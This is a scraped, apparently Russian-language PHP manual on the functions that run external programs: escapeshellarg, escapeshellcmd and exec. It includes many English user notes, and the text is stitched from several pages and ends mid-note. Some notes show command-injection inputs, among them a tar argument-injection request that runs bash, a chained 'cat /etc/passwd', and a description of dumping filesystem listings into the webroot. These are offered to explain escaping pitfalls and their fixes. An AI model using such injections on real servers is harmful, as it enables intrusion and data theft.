Since my Perl script was using STDOUT (after being passed command lines variables), I expected the variables used in my .pl script to be accessible in PHP, no questions asked.

Of course, this wasn't working and I finally figured it out with the help of a friend (Shawn = superstar):  you need to echo the exec() command in order to get the values back into PHP.

Since I was returning multiple values, I added pipe delimiters in my .pl script and then used PHP to parse the string to retreive my data into different variables.

Check it out:

#hit the .pl script with the data
$mydata = exec("script.pl 'command line args' ");
exec("exit(0)");

#parse the value that comes back from the .pl script
list($strA, $strB) = split ('[|]', $mydata);
echo "valueA: " . $strA."<br>";
echo "valueB: " . $strB."<br>";

Woo-hoo!
/d
software at yvanrodrigues dot com 29-Jul-2003 02:55
MORE ON THE UNABLE TO FORK MESSAGES IN WINDOWS:

I would like to confirm that this issue relates to permissions on %SYSTEMROOT%\SYSTEM32. The user (usually the anonymous login) must have execute permissions on cmd.exe

This is unlike most other programming languages. For example, in C the spawn and exec functions do not try to open a shell, they create the new process directly. PHP creates the new process via cmd.exe (or command.com) much like the C system() function. This is good for those of you who are trying to run batch files but this is very ineffecient for running other .exe files.

I feel uneasy about lifting permissions in my system32 directory but you can get around this by copying cmd.exe to your PHP directory. Windows will look there first and if it is not there it will check the path. Note: I mean the directory where php.exe is, not your script directory.

I have confirmed this by running filemon.exe while trying to execute a script, and you can see it trying to start the cmd.exe process.
kristof_jebens at hotmail dot com 23-Jun-2003 02:23
For WIN2K Server users running Apache 1.3.22 who are unable to run an executable...

exec('c:\\WINNT\\system32\\cmd.exe /c START c:\\file.exe');

this is the only way it worked for me.
Hope that helps
jpgiot at ifrance.com 25-Jan-2003 06:30
FOR WINDOWS USERS

i had a look to start command. it's really usefull in fact.

this is how i launch a specific Apache SSL server

<?php
$cmd = "start /D C:\OpenSA\Apache /B Apache.exe -D SSL";
exec($cmd,$output,$rv);
?>

/D specify the path where application will be launched (equivalent to cd to path)
/B launch application without a console window

so to know the exact parameters of start, you could use

<?php
exec("start /? > start.txt");
?>

and you will get the help of start in a file named 'start.txt' in the same place you run the script

for WIN 98 you may need to modify a little your command

exec("COMMAND.COM /C START program args >NUL");

(taken from another post)
qscripts at lycos dot nl 07-Jan-2003 05:45
Why not using the "start" utility, provided with every version of Windows to start processes in the background on Windows machines? For example :

exec("start song.mp3");

Which will cause the default handeling application for .MP3 file types to start playing the selected song..
k dot mitz dot NO_SPAM at att dot NO_SPAM dot net 15-Sep-2002 02:07
Newbie note:

The only syntax I found to work for the command portion of an an exec() call on a Win2K devel platform is:

$cmd = "\"path-to-exe\" args file-name";

where 'path-to-exe' has escaped double quotes, args are in the standard format, and 'file-name' has any backslashes escaped.

Example:

$cmd = "\"C:\program files\winzip\wzunzip.exe\" -c C:\\temp\\uploaded_file.zip";

exec($cmd,$output,$rv);

Note that the backslashes are escaped in the uploaded_file name, but not in the path to call the Winzip executable.  Go figure!
kop at meme dot com 12-Aug-2002 02:52
AFICT, the standard Unix Apache configuration causes an rare problem when running a job in the background. The MaxRequestsPerChild directive causes the child to terminate after 1000 requests, any background processes associated with the child will die with the child unless they are started with the "nohup" command.  Thus, the proper way to start a job in the background is to use:

exec('nohup my-command > /dev/null 2>&1 &')
ramirosuarez at fibertel dot com dot ar 12-Jul-2002 08:58
For Windows Users:

Keep in mind that a lot of UNABLE TO FORK Errors are the result of insufficient permissions.

CMD.EXE, TEMP Directory (or whatever you specified in php.ini), and all the directories that you use to upload o manipulate your files need to have Write privileges? usually user USER.

This will be useful for all the people who use GD Libraries or other programs that manipulate graphic images.
GCMXZPJPDJER at spammotel dot com 30-Jun-2002 12:41
to execute a script in background from php you don't need to use mikehup or other tools. just do:

`/usr/bin/php -q foobar.php >/dev/null 2>&1 &`;

mat
deschampsbest at noos dot fr 26-Jun-2002 01:05
I needed to know when a group of background tasks, which had been launched with a call to system, had terminated.
I could not find a function to call, so I created a little function.

It basically loops on the existance of a string in the results returned by the command ps.

All my commands, which run in background have the pid returned by posix_getpid in them.

I am able to launch many background task and effectively wait for them all to finish.

Before this, I would basically would sleep for N seconds.

I apologise if a well known or better method exist.

Thanks,
The New Bee
===============
===============

function wait_until_termination ($id, $duration){
                $i = 0;
                do {
                        $i += 1;

                        $cnt = `ps -auxww |
                                grep $id |
                                grep -v grep |
                                awk '{print $2}' |
                                grep -v $id|
                                wc -l` ;

                        if ($cnt > 0) {
                                sleep ($duration);
                        }

                } while ($cnt != 0);

                echo ("wait_until_termination (PID: $id, SEC: $duration) : LOOPS
:$i<BR>");
        }
rolland dot dudemaine at msg-software dot com 11-Apr-2002 05:45
In case you ever had to chain from php to another program (e.g. with a cgi php that only gives part of the output, or with php-gtk), here is a little C program that kills his parent (php, for instance), then launches a program given in argument.

chain.c :

#include <unistd.h>

int main(int argc, char**argv) {
  /* kill the parent */
  kill(getppid(), 15);
  argv++;
  /* then launch the new program */
  return execvp(argv[0], argv);
}
(compile with gcc -O3 -o chain chain.c)
then in php, use
<?
exec('chain sh -c echo test');
?>
vi_pa at hotmail dot com 05-Apr-2002 04:17
For those who want to execute a .php script to run in the background, from a
.php web page...

exec("php script.php parameters 2>dev/null >&- <&- >/dev/null &");

Where...
- php is the path to your php script executer (php has to be specifically complied to be to do this)
- script.php is the script
- parameters are none or more parameters
- 2>dev/null redirects the stderr to a file
- <&- switches off the stdin
- >&- switches off the stdout
- >dev/null redirects all other output to the file dev/null
- & direct script to run in background

This is the only way I managed to get it working (Linux & Apache, php 4x enviroment) . What is also great is that the process is forked so even though a user may close the browser that initiated the exec(), the process will still run to completion. And the dev/null file can be turned into a log.

What I found odd is that the script I was execing would run fine in the bg when executed from the command line, but not from the browser until I closed the stdin and stdout.
daniel dot hopp at godot dot de 01-Feb-2002 11:25
Re: session_write_close()

To launch a background process within a session, I recommend
to use a start-stop-daemon and ship parameters via ENV.

Example:
----------------------------------------
<?php
  // Within a session..
  exec("/some/where/launch.sh 300");
  // ..finished immediately.
?>

----------------------------------------
#!/bin/bash
# /some/where/launch.sh
T=$1
export T
DAEMON=/some/where/runme.pl
start-stop-daemon --start --quiet --background --exec $DAEMON

----------------------------------------
#!/usr/bin/perl
# /some/where/runme.pl
my $t = $ENV{'T'};
sleep($t);

----------------------------------------


Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки

  • « Функции запуска программ
  • escapeshellcmd »
  • PHP Manual
  • Функции запуска программ
  • Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

escapeshellarg — Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки

Описание

escapeshellarg(string $arg): string

Функция escapeshellarg() добавляет одинарные кавычки вокруг строки и кавычек и экранирует любые существующие одинарные кавычки, позволяя вам передать строку непосредственно в функцию оболочки и рассматривать её как один безопасный аргумент. Эта функция должна использоваться для того, чтобы экранировать отдельные аргументы для функций оболочки, полученные из пользовательского ввода. Экранирование аргумента необходимо в таких функциях оболочки как exec(), system() и оператор "обратный апостроф".

В Windows escapeshellarg() заменяет восклицательный знак, знак процента (позднее связывание переменных) и двойные кавычки на пробелы и добавляет двойные кавычки вокруг строки. Кроме того, каждая серия последовательных обратных слешей (\) экранируется одним дополнительным обратным слешем.

Список параметров

arg

Аргумент, который будет экранирован.

Возвращаемые значения

Экранированная строка.

Примеры

Пример #1 Пример использования escapeshellarg()

<?php
system('ls '.escapeshellarg($dir));
?>

Смотрите также

  • escapeshellcmd() - Экранировать метасимволы командной строки
  • exec() - Выполнить внешнюю программу
  • popen() - Открывает файловый указатель процесса
  • system() - Выполнить внешнюю программу и отобразить вывод
  • Оператор исполнения

User Contributed Notes

lucgommans.nl 24-Feb-2023 05:55
This does not prevent all forms of command injection.

<?php
// GET /example.php?file[]=x&file[]=-I&file[]=bash%20-c%20touch\%20/tmp/lucwashere

$files_to_archive = [];
foreach ($_GET['file'] as $file) {
    $files_to_archive[] = escapeshellarg($file);
}

exec("tar cf my.tar " . implode(' ', $files_to_archive));
?>

Despite correct escaping to prevent shell injection, this will run the specified code. The arguments instruct tar to run a command in bash. You can then check the /tmp directory to verify that the code ran.

Of course, an attacker would replace this with a more malicious variant. For black box vulnerability testing, a sleep of a few seconds can be safely used to determine whether the parameter is vulnerable.

The vulnerability here is that tar, like nearly every other program, will interpret arguments that start with a hyphen as an option that modifies its behaviour. Many programs, such as tcpdump, man, zip, gpg, tar, etc., have an option to execute another command. Even if you use a program that does not (and will never) have such an execution option, its functioning would be influenced by the specified extra options, either on purpose or by accident because some string just happens to start with a hyphen (similar to how fields vulnerable to SQL injection accidentally break on any data with an apostrophe or quote symbol in it: it's just bad UX).

Many programs allow using a double hyphen, --, to separate positional arguments from options. If you change the above code to use this exec line, it is no longer vulnerable:

<?php
// notice the -- after specifying the options we want
exec("tar cf my.tar -- " . implode(' ', $files_to_archive));
?>

Not every program supports this separator, in which case you need to find an alternative input method (e.g., nmap -iL targets.txt instead of nmap 2001:db8::/96) or deny starting arguments with a hyphen.

Of course, ideally one would use data bindings via libraries to avoid having to do the dangerous escaping dance altogether, similar to parameterized SQL queries, but I did not yet see this caveat mentioned and thought it worth adding for when escapeshellarg() is still used.
Tony C 08-Sep-2022 09:59
While using this function to pass filenames to the command line I noticed shell_exec() was failing. Upon further investigation it appears escapeshellarg() removes double spaces from file names.

For example:

$filename = "my  super file.txt"; // notice the double space after "my"

echo escapeshellarg($filename);

Produces:
'my super file.txt'

(second space was removed)
Jannis 11-Mar-2022 07:17
escapeshellarg() will strip all invalid characters according to your locale settings (e.g. latin-1 characters are stripped when locale/LC_CTYPE is UTF-8).

Please keep in mind that the locale support depends on your C standard library while compiling. This might result in strange behavior on embedded systems that use a standard library with poor locale support, other  than glibc.
divinity76 at gmail dot com 11-Feb-2021 01:45
if you need to generate Linux arguments even when running on Windows, try

<?php

    /**
     * quote arguments using linux escape rules, regardless of host OS
     * (eg, it will use linux escape rules even when running on Windows)
     *
     * @param string $arg
     * @throws \InvalidArgumentException if argument contains null bytes
     * @return string
     */
    /*public static*/ function linux_escapeshellarg(string $arg): string
    {
        if (false !== strpos($arg, "\x00")) {
            throw new \InvalidArgumentException("argument contains null bytes, it's impossible to escape null bytes!");
        }
        return "'" . strtr($arg, [
            "'" => "'\\''"
        ]) . "'";
    }
Anonymous 11-Feb-2021 01:44
if you need to generate Linux arguments even when running on Windows, try

<?php

    /**
     * quote arguments using linux escape rules, regardless of host OS
     * (eg, it will use linux escape rules even when running on Windows)
     *
     * @param string $arg
     * @throws \InvalidArgumentException if argument contains null bytes
     * @return string
     */
    /*public static*/ function linux_escapeshellarg(string $arg): string
    {
        if (false !== strpos($arg, "\x00")) {
            throw new \InvalidArgumentException("argument contains null bytes, it's impossible to escape null bytes!");
        }
        return "'" . strtr($arg, [
            "'" => "'\\''"
        ]) . "'";
    }
crose 16-May-2020 01:40
Ubuntu: wondering why your system locale (e.g. 'en_US.UTF-8') is  not inherited to your Apache (still 'C')?

Check `/etc/apache2/envvars`  ... activate the line `. /etc/default/locale`
daverandom 23-Mar-2019 02:32
On Windows, this function naively strips special characters and replaces them with spaces. The resulting string is always safe for use with exec() etc, but the operation is not lossless - strings containing " or % will not be passed through to the child process correctly.

Correctly escaping shell commands on Windows is not a simple matter. Programs must consider two distinct escape mechanisms which serve different purposes:
 1) The convention used by the CommandLineToArgV() windows system function, used by the child process to interpret the command line string
 2) The convention used by cmd.exe to escape shell meta-characters (e.g. output redirection controls)

All commands should be escaped for CommandLineToArgV() - this mechanism is applied to each argument individually before it is appended to the command line string. The resulting string may be safely used with the CreateProcess() family of system functions. However...

In almost all cases when creating a child process from PHP on Windows, it is done indirectly by invoking cmd.exe - this is to enable the use of shell functionality such as I/O redirection and environment variable substitution. As a consequence, the entire command string must be further escaped for cmd.exe. If the executed command contains further indirect calls through cmd.exe, each child command must be escaped again for each level of indirection.

The following functions can be used to correctly escape strings such that they are safely passed through to a child process:

<?php

/**
 * Escape a single value in accordance with CommandLineToArgV()
 * https://docs.microsoft.com/en-us/previous-versions/17w5ykft(v=vs.85)
 */
function escape_win32_argv(string $value): string
{
    static $expr = '(
        [\x00-\x20\x7F"] # control chars, whitespace or double quote
      | \\\\++ (?=("|$)) # backslashes followed by a quote or at the end
    )ux';

    if ($value === '') {
        return '""';
    }

    $quote = false;
    $replacer = function($match) use($value, &$quote) {
        switch ($match[0][0]) { // only inspect the first byte of the match

            case '"': // double quotes are escaped and must be quoted
                $match[0] = '\\"';
            case ' ': case "\t": // spaces and tabs are ok but must be quoted
                $quote = true;
                return $match[0];

            case '\\': // matching backslashes are escaped if quoted
                return $match[0] . $match[0];

            default: throw new InvalidArgumentException(sprintf(
                "Invalid byte at offset %d: 0x%02X",
                strpos($value, $match[0]), ord($match[0])
            ));
        }
    };

    $escaped = preg_replace_callback($expr, $replacer, (string)$value);

    if ($escaped === null) {
        throw preg_last_error() === PREG_BAD_UTF8_ERROR
            ? new InvalidArgumentException("Invalid UTF-8 string")
            : new Error("PCRE error: " . preg_last_error());
    }

    return $quote // only quote when needed
        ? '"' . $escaped . '"'
        : $value;
}

/** Escape cmd.exe metacharacters with ^ */
function escape_win32_cmd(string $value): string
{
    return preg_replace('([()%!^"<>&|])', '^$0', $value);
}

/** Like shell_exec() but bypass cmd.exe */
function noshell_exec(string $command): string
{
    static $descriptors = [['pipe', 'r'],['pipe', 'w'],['pipe', 'w']],
           $options = ['bypass_shell' => true];

    if (!$proc = proc_open($command, $descriptors, $pipes, null, null, $options)) {
        throw new \Error('Creating child process failed');
    }

    fclose($pipes[0]);
    $result = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    stream_get_contents($pipes[2]);
    fclose($pipes[2]);
    proc_close($proc);

    return $result;
}

// usage

$badString = 'String with "C:\\quotes\\" or malicious %OS% stuff \\';
$cmdParts = [
    'php',
    '-d', 'display_errors=1', '-d', 'error_reporting=-1',
    '-r', 'echo $argv[1];',
    $badString // child process $argv[1] value
];

/* The typical approach - works fine on POSIX shells but totally wrong
   on Windows */
$wrong = implode(' ', array_map('escapeshellarg', $cmdParts));

/* Always escape each argument individually */
$escaped = implode(' ', array_map('escape_win32_argv', $cmdParts));

/* In almost all cases, escape for cmd.exe as well - the only exception is
   when using proc_open() with the bypass_shell option. cmd doesn't handle
   arguments individually, so the entire command line string can be escaped,
   no need to process arguments individually */
$cmd = escape_win32_cmd($escaped);

$cmds = [
    'escapeshellarg() - wrong' => $wrong,
    'escape_win32_argv() - correct for bypass_shell' => $escaped,
    'escape_win32_cmd(escape_win32_argv()) - correct everywhere else' => $cmd,
];

function check($original, $received)
{
    $match = $original === $received ? '=' : 'X';
    return "$match '$received'";
}

foreach ($cmds as $description => $cmd) {
    echo "$description\n";
    echo " $cmd\n";
    echo "  original:         '$badString'\n";
    echo "  shell_exec():   " . check($badString, shell_exec($cmd)) . "\n";
    echo "  noshell_exec(): " . check($badString, noshell_exec($cmd)) . "\n";
    echo "\n";
}
Jasen 30-Oct-2018 07:49
if you want empty arguments for empty input

use the form

     escapeshellarg($input)."''"

the shell will treat foo'' as foo  but empty input will become an empty argument instead of a missing one.
jon at wroth dot org 18-Apr-2014 07:20
the best alternative to escapeshellarg() for windows i've come up with is this:
<?php
function w32escapeshellarg($s)
{ return '"' . addcslashes($s, '\\"') . '"'; }
?>
wijnand at jpresult dot nl 11-Apr-2013 11:32
Here's a quick and dirty replacement of this function in case you need to deal with special characters.

<?php
/**
 * An ugly, non-ASCII-character safe replacement of escapeshellarg().
 */
function escapeshellarg_special($file) {
  return "'" . str_replace("'", "'\"'\"'", $file) . "'";
}
?>
sblyons+php at gmail dot com 24-Jul-2012 02:38
Take care if using escapeshellarg() on serialized objects. Serialized objects contain null bytes, and escapeshellarg stops on the first null byte so you will not receive the full argument. (I consider this a bug, though not sure what it should do in this case. Probably serialize shouldn't have used null bytes, but too late for that now).
The workaround I've found to pass serialized objects on the command line is to base64_encode() them first and decode on the other side.
phil at philfreo dot com 03-Aug-2010 03:56
When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>
phpman at crustynet dot org dot uk 12-Oct-2009 10:53
The comment from 'rmays at castlecomm dot com' is incorrect: single quotes cannot be backslash-escaped inside a single-quoted string when constructing a shell argument. The output from this function is in fact correct. It drops out of the single-quoted string, includes a literal single quote with a backslash-escape, then resumes the single-quoted string. Observe:

[shellarg.php]
<?php

system("echo ' single quote\'d '");
system("echo ' single quote'\''d '");
?>

$ php shellarg.php
sh: -c: line 0: unexpected EOF while looking for matching `''
sh: -c: line 1: syntax error: unexpected end of file
 single quote'd
jrbeaure at uvm dot edu 26-Jun-2009 06:51
When running a string of LaTeX code containing hyphens through as an argument to pdflatex escaped using this command, it will result in failure.
info at infosoporte dot com 20-Jan-2009 04:12
If escapeshellarg() function removes your accents (like a, a with an 'accute') from the given string, ensure your LC_ALL variable is correct. If using it via web, you need to restart Apache or the corresponding web server after setting LC_ALL with a export LC_ALL=es_ES.utf8 (for example) from your shell.
Audun 30-Jul-2008 05:02
The reason why % are replaced with space on windows is that it is impossible in cmd.exe to escape or quote them so that environment variables are not expanded.  If for instance %path% is in your argument it will always be expanded, so the only safe thing to do is to replace % with something else.

Alternatively, you could wipe the environment before making the call to exec(), but that has its side-effects.
egorinsk at gmail dot com 28-Apr-2007 04:09
Under Windows, this function puts string into double-quotes, not single, and replaces %(percent sign) with a space, that's why it's impossible to pass a filename with percents in its name through this function.
22-May-2006 05:25
Most of the comments above have misunderstood this function. It does not need to escape characters such as '$' and '`' - it uses the fact that the shell does not treat any characters as special inside single quotes (except the single quote character itself). The correct way to use this function is to call it on a variable that is intended to be passed to a command-line program as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behaves badly if given the empty string as input is correct - this is a bug. It should indeed return two single quotes in this case.
vosechu at roman-fleuve dot com 25-Mar-2004 05:05
If escapeshellarg() returned something on a null input it would probably break more programs than it helps. Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing).

However, most people do not put "" into their commands but I can see where it might be useful at the same time.
Perhaps an option in the command that would return the type of null we want. I might want the null character to be returned, someone else might want '', and someone else might want nothing at all.


Экранировать метасимволы командной строки

  • « escapeshellarg
  • exec »
  • PHP Manual
  • Функции запуска программ
  • Экранировать метасимволы командной строки

escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8)

escapeshellcmd — Экранировать метасимволы командной строки

Описание

escapeshellcmd(string $command): string

Команда escapeshellcmd() экранирует любые символы в строке, которые могут быть использованы для обмана команды оболочки при выполнении произвольных команд. Эта функция должна быть использована, чтобы убедиться, что любые данные, вводимые пользователем, будут экранированы перед передачей их функциям exec() или system() или оператору "обратный апостроф".

Следующие символы будут экранированы при помощи обратного слеша: &#;`|*?~<>^()[]{}$\, \x0A и \xFF. Символы ' и " экранируются только в том случае, если они встречаются не попарно. В Windows все этим символам, плюс ! и % предшествует символ каретки (^).

Список параметров

command

Команда, которая будет экранирована.

Возвращаемые значения

Экранированная строка.

Примеры

Пример #1 Пример использования escapeshellcmd()

<?php
// Мы намеренно допускаем здесь произвольное количество аргументов.
$command = './configure '.$_POST['configure_options'];

$escaped_command = escapeshellcmd($command);

system($escaped_command);
?>

Внимание

Функцию escapeshellcmd() следует использовать над всей командной строкой, но она всё ещё позволяет атакующему передать произвольное количество аргументов. Для экранирования одного аргумента вместо неё необходимо использовать функцию escapeshellarg().

Внимание

Пробелы не будут экранированы с помощью escapeshellcmd(), что может быть проблематичным в Windows с такими путями, как: C:\Program Files\ProgramName\program.exe. Можно уменьшить проблему, используя следующий фрагмент кода:

<?php
$cmd = preg_replace('`(?<!^) `', '^ ', escapeshellcmd($cmd));

Смотрите также

  • escapeshellarg() - Экранировать строку для того, чтобы она могла быть использована как аргумент командной строки
  • exec() - Выполнить внешнюю программу
  • popen() - Открывает файловый указатель процесса
  • system() - Выполнить внешнюю программу и отобразить вывод
  • Оператор исполнения

User Contributed Notes

phpcomment at reversiblemaps dot ath dot cx 17-Apr-2012 11:31
escaping strings for a shell is tricky.

  If your target system is windows give up now.  windows isn't even self consisitent in how to escape stuff.

  if unix convert everything to octal - although this is hardest to implement it's the easiest to implement correctly - there are no special cases..
.
nicholas at nicholaswilson dot me dot uk 29-Jan-2011 07:41
There is a quirk to be aware of regarding use of echo. If you have a command which you want to execute which takes input from STDIN, you would normally do:

<?php $output = shell_exec("echo $input | /the/command"); ?>

Unfortunately, this is a *bad idea* and will make your script unportable, providing a very hard-to-trace bug on some systems. Depending on how the server is set up, /bin/sh will either call /bin/bash or /bin/dash, and these have very different versions of echo. Never use echo; use printf instead which is consistent. How do you escape for printf? Do this:

<?php
$input = 'string to be passed *exactly* to the command';
//Escape only what is needed to get by PHP's parser; we want
//the string data PHP is holding in its buffer to be passed
//exactly to stdin buffer of the command.
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $input);
$cmd = escapeshellarg($cmd);

$output = shell_exec("printf $cmd | /path/to/command");
?>

For the paranoid, this torture test verifies that both shell escaping and printf's own escaping are handled correctly. Use with confidence!

<?php

$test = 'stuff bash interprets, space: # & ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF. \' " %'.PHP_EOL.
        'stuff bash interprets, no space: #&;`|*?~<>^()[]{}$\\x0A\xFF.\'\"%'.PHP_EOL.
        'stuff bash interprets, with leading backslash: \# \& \; \` \| \* \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \\\ \\\x0A \\\xFF. \\\' \" \%'.PHP_EOL.
        'printf codes: % \ (used to form %.0#-*+d, or \\ \a \b \f \n \r \t \v \" \? \062 \0062 \x032 \u0032 and \U00000032)';

echo "These are the strings we are testing with:".PHP_EOL.$test.PHP_EOL;
$cmd = $test;
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $test);
$cmd = escapeshellarg($cmd);

echo PHP_EOL."This is the output using the escaping mechanism given:".PHP_EOL;
echo `printf $cmd | cat`.PHP_EOL;

echo PHP_EOL."They should match exactly".PHP_EOL;
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 24-Jun-2010 04:42
Mind it does not escape ! (exclamation mark). So if you want to i.e. printf() commands for later use in shell (i.e. by pasting to the console) you need to escape all exclamation marks or shell will try to process ! as history reference. This approach shall suffice:

<?php $scaped = str_replace('!', '\!', escapeshellarg( $str ) ); ?>
Leon 11-Feb-2007 04:31
This function is great -- except when you need to legitimately use an escaped character as part of your command.  The code below leaves the parts of the command that are enclosed within single quotes alone, but escapes the rest eg:

"echo Never use the '<blink>' tag ; cat /etc/passwd"
becomes:
"echo Never use the '<blink>' tag \; cat /etc/passwd"
and not:
"echo Never use the '\<blink\>' tag \; cat /etc/passwd"

i.e, we really want the ';' escaped, but not the HTML tag.  I really needed the code below in order to run the external ImageMagick's 'convert' command properly and safely...

<?php

// Escape whole string
$cmdQ = escapeshellcmd($cmd);

 // Build array of quoted parts, and the same escaped
preg_match_all('/\'[^\']+\'/', $cmd, $matches);
$matches = current($matches);
$quoted = array();
foreach( $matches as $match )
    $quoted[escapeshellcmd($match)] = $match;

// Replace sections that were single quoted with original content
foreach( $quoted as $search => $replace )
    $cmdQ = str_replace( $search, $replace, $cmdQ );

return $cmdQ;

?>
abennett at clarku dot edu 05-Jul-2006 11:59
I've got a php script that needs to pass a username and password via exec to a perl script.  The problem is valid password characters were getting escaped...

Here's a little perl function I wrote to fix it.

sub unescape_string {
      my $string = shift;
      # all these interpolated regex's are slow, so if there's no
      # backslash in the string don't bother with it
      # index() is faster then a regex
      if ( ! index($string,'\\\\') ) {
         return $string;
      }
      my @characters = ('#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')',
                        '[', ']', '{', '}', '$', '\\', ',', ' ', '\x0A', '\xFF' );
      my $character;
      foreach $character (@characters) {
         $character = quotemeta($character);
         my $pattern = "\\\\(" . $character . ")";
         $string =~ s/$pattern/$1/g;
      }
      return $string;
}

Hope this is useful.
ceejay at trashfactory dot de 15-Mar-2006 04:43
Well guys, i find it very hard that escapeshellarg and escapeshellcmd are forcely run when passing a command to exec, system or popen, when safe_mode is turned on.

Right now, i did not find any working solution to pass commands like this:
cmd -arg1 -arg2 "<BLA varname=\"varvalue\" varname1=\"varvalue1\" />"

it is just the case, that the parameter for arg2 which is a string that looks like an HTML-Tag with various attributes set, all attributes of the string in arg2 gets splitted by the whitespaces within. this wont happen with safe_mode turned off, so it must be one of the escapefunctions, that breaks functionality.

In order to circumvent this, i have made a temporary solution, which dynamically creates a skriptfile (by fopen), which just contains the whole command with arguments, and then execute that skriptfile. i dont like that solution, but in the other hand, safe_mode cannot be easily turned off on that server.
docey 12-Apr-2005 05:56
the main reason for quoting a command is that it not multiple  command can be joined. i don't know for sure if this is the right syntax but remeber that this can do some nice security breaks. here's one way of how to know exactly what your trying to break into for.

normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well.

now the output would only become known to php and never will the user be able to view this data unless the php script would actual start to print it out. like passtru does!! but a good php coder knows never to use passtru unless not otherwise possible.

but what would happen if you can direct the output from ls also from that same commandline to a file in the webroot most webserver still default their base-webroot to /var/www/ so storing it there in text file to download it later and you can simply take coffee while checking wich files can be read by php security mode and then simply use the cp command to copy those to the webroot and download them to your own hard-disk. without a list of the files you can only guess where to copy from! and thats harder then guessing the root password.

so if the first command was quoted it is not possible to attach another command because of a syntax error. think of all the thinks you can do once you got a complete list of every file on the filesystem. including mounted once via NFS and others. security starts at keeping the door hidden.

also another nice command for hanging the webserver can be "php <?php while(true){ exec('ls / -als'); }; ?>" this keeps creating a file list on the entire filesystem wich not only keeps the hard-disk(s) bussy but also memory and cpu   wich must store the returned list. so keeping in mind not all command accepted from users can be used blind.

actualy never accept any command from external sources only proven built-in predefined commands should be executed.
trisk at earthling dot net 31-Jan-2005 10:19
This function does not work as shown in the php.net examples.

If you put your encoded filename into double-quotes as they suggest, then it will break on certain characters in filenames, such as ampersand.

For example if you have a filename called "foo & bar.jpg" and you use this function on it, your resulting filename when double-quoted will produce this and not be found:

"foo \& bar.jpg"

If you need to have a single argument where spaces are included then do not use this function with added double-quotes, use escapeshellarg() which encloses the whole string in single quotes.

I do not understand which purpose this particular function is intended for.  I can't see any use for it, unless you pass it through another function and convert spaces " " to "\ ", which would allow you to use the string directly on the command line.


Выполнить внешнюю программу

  • « escapeshellcmd
  • passthru »
  • PHP Manual
  • Функции запуска программ
  • Выполнить внешнюю программу

exec

(PHP 4, PHP 5, PHP 7, PHP 8)

exec — Выполнить внешнюю программу

Описание

exec(string $command, array &$output = null, int &$result_code = null): string|false

exec() выполняет команду command.

Список параметров

command

Команда, которая будет исполнена.

output

Если параметр output указан, то массив будет заполнен строками вывода программы. Завершающие пробелы, такие как \n, не будут включены в массив. Обратите внимание, что если массив уже содержит какие-либо элементы, то exec() добавит новые элементы в конец массива. Если же вы не хотите, чтобы функция добавляла новые элементы в конец, вызовите unset() на этом массиве, прежде чем передать его в exec().

result_code

Если аргумент result_code присутствует вместе с output, тогда статус возврата выполненной команды будет записан в этой переменной.

Возвращаемые значения

Последняя строка из результата команды. Если требуется выполнить команду и получить все данные команды без какой-либо обработки, используйте функцию passthru().

Возвращает false в случае возникновения ошибки.

Для получения результата выполнения команды, убедитесь, что параметр output инициализирован и используется.

Ошибки

Выдаёт ошибку уровня E_WARNING, если функция exec() не может выполнить команду command.

Выбрасывает исключение ValueError, если параметр command не указан или содержит нулевые байты.

Список изменений

Версия | Описание
8.0.0 | Если параметр command не указан или содержит нулевые байты, функция exec() теперь выбрасывает исключение ValueError; ранее она выдавала ошибку уровня E_WARNING и возвращала false.

Примеры

Пример #1 Пример функции exec()

<?php
// выводит имя пользователя, от имени которого запущен процесс php/httpd
// (применимо к системам с командой "whoami" в системном пути)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Вернёт статус $retval и значение:\n";
print_r($output);
?>

Результатом выполнения данного примера будет что-то подобное:

Вернёт статус 0 и значение:
Array
(
    [0] => cmb
)

Примечания

Внимание

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Замечание:

Если вы собираетесь использовать эту функцию в программе, работающей в качестве демона, убедитесь, что стандартный вывод функции направлен в файл или другой поток, в противном случае PHP зависнет вплоть до конца выполнения программы.

Замечание:

В Windows функция exec() стартует cmd.exe для запуска команды. Если вы хотите запустить внешнюю программу без запуска cmd.exe, то используйте функцию proc_open() с установленной опцией bypass_shell.

Смотрите также

  • system() - Выполнить внешнюю программу и отобразить вывод
  • passthru() - Выполнить внешнюю программу и отобразить необработанный вывод
  • escapeshellcmd() - Экранировать метасимволы командной строки
  • pcntl_exec() - Запустить указанную программу в области текущего процесса
  • Оператор исполнения

User Contributed Notes

mamedul.github.io 06-Nov-2023 11:15
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }

}
tsmtgdi at gmail dot com 19-Sep-2023 02:23
Please be aware that EXEC ignore the stderr!

So something like

mkdir /impossible path

